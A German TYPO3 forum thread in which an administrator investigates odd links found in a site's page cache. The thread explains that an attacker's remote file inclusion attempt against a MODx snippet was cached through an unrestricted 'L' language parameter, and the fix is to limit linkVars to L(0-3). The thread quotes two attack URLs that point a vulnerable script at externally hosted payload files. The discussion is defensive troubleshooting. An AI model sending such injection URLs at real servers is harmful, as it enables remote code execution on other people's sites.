Auf einmal haben Links auf einigen Seiten der Kundenhomepage die Form
http://www.DOMAINNAME/index.php?id=112//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://klorovers.fileave.com/a.txt
Im Klartext heißt es, über eine Sicherheitslücke wird versucht eine externe Datei auf dem Server auszuführen.
In der Typo3 Datenbank tauchen Sie in den Tabellen cache_pages und index_phash, sonst an keiner Stelle.
Mein Problem ist, dass ich nicht verstehe, wie der Angreifer die Links manipulieren konnte.
Nach meinem Verständnis müssten die Links an einer anderen Stelle auftauchen, denn die beiden Tabellen cache_pages und index_phash speichern nur eine Kopie der generierten Seiten. Installationsdateien wurden ebenfalls nicht manipuliert.
Hat einer 'ne Idee?
Das Problem ist gelöst, ich möchte Euch warnen vor folgender Konfiguration für die Sprachvariable L:
# SprachVariable L initilisieren
config.linkVars = L
das ist in Verbindung mit realURL falsch, denn:
Die URL-Adresse kann aus bestimmten Parametern bestehen, so besteht z.B. die URL Adresse
"http://DOMAINNAME/index.php?id=11&L=1" aus den beiden Parametern "id" für die Typo3-Seiten-ID und "L" für die z.B. englische Version der Seite.
Es ist der Parameter "L" auf den es jetzt ankommt. Typo3 rendert die Seite und fügt jedem Link auf der Seite den Parameter "L=1" hinzu. Jetzt wird die komplette Seite so im Cache abgelegt, falls der Cache dieser Seite leer ist.
Jetzt ist folgendes passiert: ein Angreifer scannt URL Adressen und prüft, ob er fremden Code einschleussen kann (Remote File inclusion Attack). Die URL wird gebildet und hat die Form:
"http://DOMAINNAME/index.php?id=10&L=1%252F%252Fassets...ember%2Ffx29id1.txt%3F%3F%20%20%2F%2F%3F_SERVER%5BDOCUMENT_ROOT%5D%3Dhttp%3A%2F%2Fsuzuki02.fileave.com%2Fzfxid1.txt%3F"
Typo3 merkt nicht, dass der Parameter L nur aus der Zahl 1 besteht, rendert die Seite und fügt jedem Link auf der Seite den langen Parameter hinzu. Jetzt wird die komplette Seite so im Cache abgelegt, falls der Cache dieser Seite leer ist. Das ist auch der Grund, warum wir diese URL-Struktur nur im Typo3-Cache gefunden haben und nicht auf allen Seiten.
Die Lösung ist die Sprachvariable L wie folgt zu konfigurieren:
#### Sprachkonfiguration ####
# SprachVariable L initialisieren
config.linkVars = L(0-3)
Hallo,
eine intessante Konstellation, allerdings nicht sehr gefährlich. Hier wird versucht, eine Sicherheitslücke des CSM MODx auszunutzen:
Froum MODx
In TYPO3 hat das natürlich keinen (direkten) Effekt, allerdings wird der Cache kontaminiert. Was allerdings auch vermieden werden sollte, dein Tipp ist da schon richtig, idealerweise für jede Art von linVar, die definiert wird.
Gruß
Peter
Und was hat das mit realurl zu tun? Bislang war ich der Meinung dass das mit realurl nicht autreten könne!?
Da in RealUrl die Parameter einzeln definiert werden müssen, kann es innerhalb RealUrl wohl nicht passieren. Aber auch eine Installation mit RealURL akzeptiert ja die Standardlinks. Hat lukinbg wohl falsch formuliert.
Gruß
Peter